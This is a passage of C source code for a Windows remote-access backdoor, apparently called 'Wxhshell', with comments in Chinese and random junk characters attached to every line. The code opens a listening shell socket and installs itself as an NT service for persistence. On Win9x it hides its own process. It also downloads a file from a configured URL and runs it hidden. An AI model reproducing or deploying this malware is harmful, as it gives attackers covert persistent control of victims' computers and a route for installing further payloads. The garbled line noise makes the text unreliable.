DWORD BasePriority; /GqW1tcO
ULONG UniqueProcessId; +uLl3(ml
ULONG InheritedFromUniqueProcessId; p{NVJ^!+
} PROCESS_BASIC_INFORMATION; VM88#^
~}+F$&
PROCNTQSIP NtQueryInformationProcess; gM&XVhQJ\
*i?#hTw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9n%vz@X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XC%u`UG
"KSzn
HANDLE hProcess; H+6+I53
PROCESS_BASIC_INFORMATION pbi; qYF150
w`x4i fZ0q
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gg$4O 8
if(NULL == hInst ) return 0; y38x^fuYJ~
?t46TV'G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7M7sq-n5z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "MOM@4\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
]?M3X_Mq
c<fl6o)
if (!NtQueryInformationProcess) return 0; \AQ*T`Dq
B _k+Oa2!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,=jwQG4wq
if(!hProcess) return 0; N"L@
9bwG3jn4?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a'r8J~:jy
;2*hN(
CloseHandle(hProcess); ,%6!8vX
0w<vc}{t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &P' d&B1
if(hProcess==NULL) return 0; 6 b-'Hu i+
wkc)2z
HMODULE hMod; }xJ ).D
char procName[255];
)&Af[mS
unsigned long cbNeeded; zO)Bf(
4sMA'fG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &!N9.e:-]
%0&59q]LM
CloseHandle(hProcess); J;wDvt]]1
M-7^\wXTA
if(strstr(procName,"services")) return 1; // 以服务启动 !-B$WAV
B:oE&Ahh{
return 0; // 注册表启动 r^zra|]
} %1h%#/#[
`8M{13fv
// 主模块 t.X8c/,;g
int StartWxhshell(LPSTR lpCmdLine) +@G#Z3;l!
{ (}*1,N!#
SOCKET wsl; M$,4B
BOOL val=TRUE; AO[/-Uij
int port=0; =/kwUjC?
struct sockaddr_in door; S3Dmc\f
cb82k[L6
if(wscfg.ws_autoins) Install(); ?vh1 >1D
%^pm~ck!
port=atoi(lpCmdLine);
|pgrR7G'
vX30Ijm
if(port<=0) port=wscfg.ws_port; l\tg.O~
yVfF
*nG
WSADATA data; vb.}SG>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }-/oL+j
0(qtn9;=2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; H'a6]
]2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d
RIu A)0s
door.sin_family = AF_INET;
}o[NB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "*8>` 6 E
door.sin_port = htons(port); *{x8@|K8
7/e25LS!`U
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $&Lw 2 c0
closesocket(wsl); <]Btx;}
return 1;
W>y>
} Bi-x
gq'z
.VXadgM
if(listen(wsl,2) == INVALID_SOCKET) { pddumbp
closesocket(wsl); `}.jH1Fx/m
return 1; adY ,Nz
} %_(X n
Wxhshell(wsl); ;.+C
WSACleanup(); ,Jrm85oG
C[R|@9NI
return 0; *)bh6b=7
VW\xuP
} T3bYj|rh=
w5<&b1:
// 以NT服务方式启动 aOhi<I`*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \%}w7J;
{ Sc14F
Fs
DWORD status = 0; W
%<,GV
DWORD specificError = 0xfffffff; r;~7$B)
W#9A6ir>
serviceStatus.dwServiceType = SERVICE_WIN32; g|Xjw Ti8$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; C23Gp3_0/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AGhr(\j
serviceStatus.dwWin32ExitCode = 0; R!>l7p/|H)
serviceStatus.dwServiceSpecificExitCode = 0; 1EMrXnv,
serviceStatus.dwCheckPoint = 0; 7hlzuZob+y
serviceStatus.dwWaitHint = 0; K?@x'q1
O^Y@&S RrQ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =xjtPmZ5X
if (hServiceStatusHandle==0) return; G?+0#?'Y
~P fk
status = GetLastError(); \=c@
if (status!=NO_ERROR) )0o|u >
{ XyYP!<].C
serviceStatus.dwCurrentState = SERVICE_STOPPED; K!a7Hg
serviceStatus.dwCheckPoint = 0; 7Vo[zo
serviceStatus.dwWaitHint = 0; Il]p >B
serviceStatus.dwWin32ExitCode = status; 4Q(w
D
serviceStatus.dwServiceSpecificExitCode = specificError; \*mKctpz]6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jO.c>C[?
return; / _Fi4wZ
} /u~L3Cp(
U!b~vrr^
serviceStatus.dwCurrentState = SERVICE_RUNNING; KBI36=UV
serviceStatus.dwCheckPoint = 0; 09 vm5|
serviceStatus.dwWaitHint = 0; R^6]v`j;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \SooIEl@
} PG{"GiZz=
)uO 3v
// 处理NT服务事件,比如:启动、停止 E?h'OR@_ L
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5Z>+NKQ
{ ZMEYF!jN
switch(fdwControl) ,8.zbr
{ I:UN2`*#
case SERVICE_CONTROL_STOP: \Icd>>)*
serviceStatus.dwWin32ExitCode = 0; T5eJIc3a"
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^S:I38gR#q
serviceStatus.dwCheckPoint = 0; QSx4M
serviceStatus.dwWaitHint = 0; %GigRA@no
{ $r1{Nh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /6FPiASbS
} X\|h:ce
return; .-:@+=(
case SERVICE_CONTROL_PAUSE: _#yd0E
serviceStatus.dwCurrentState = SERVICE_PAUSED; Of;$
VK'
break; Na.)!h_Kn'
case SERVICE_CONTROL_CONTINUE: b
v4
serviceStatus.dwCurrentState = SERVICE_RUNNING; &4m;9<8\
break; MtG~O;?8
case SERVICE_CONTROL_INTERROGATE: rT'<6]`
break; Ubv_a
}; Zr|\T7w 3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T^@P.zX
} (,['6k<
b?:SCUI
// 标准应用程序主函数
z:d+RMA
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &ER,;^H`6
{ o(YF`;OhvS
Lf+3nN
// 获取操作系统版本 6oLZH6fG
OsIsNt=GetOsVer(); Bg}(Sy
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Y{&y6
^}4ysw
// 从命令行安装 -^,wQW:o)
if(strpbrk(lpCmdLine,"iI")) Install(); 2+C8w%F8
y^:6D(SR
// 下载执行文件 l j %k/u
if(wscfg.ws_downexe) { `7Dj}vVu
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $uUJV% EX
WinExec(wscfg.ws_filenam,SW_HIDE); yb-/_{Y
} eR!K8W
^20x\K
if(!OsIsNt) { #1[Q?e4,0
// 如果时win9x,隐藏进程并且设置为注册表启动 78O5$?b;#
HideProc(); *oru;=D@8
StartWxhshell(lpCmdLine); pbNW
l/|4
} v]m#+E
else (h27SLYm
if(StartFromService()) 70E@h=oQ
// 以服务方式启动 W C3b_ia
StartServiceCtrlDispatcher(DispatchTable); sx][X itR+
else /i
IWt\J
// 普通方式启动 *Edr\P
StartWxhshell(lpCmdLine); 9S{?@*V
z1LY|8$G
return 0; 7J$Yd976
}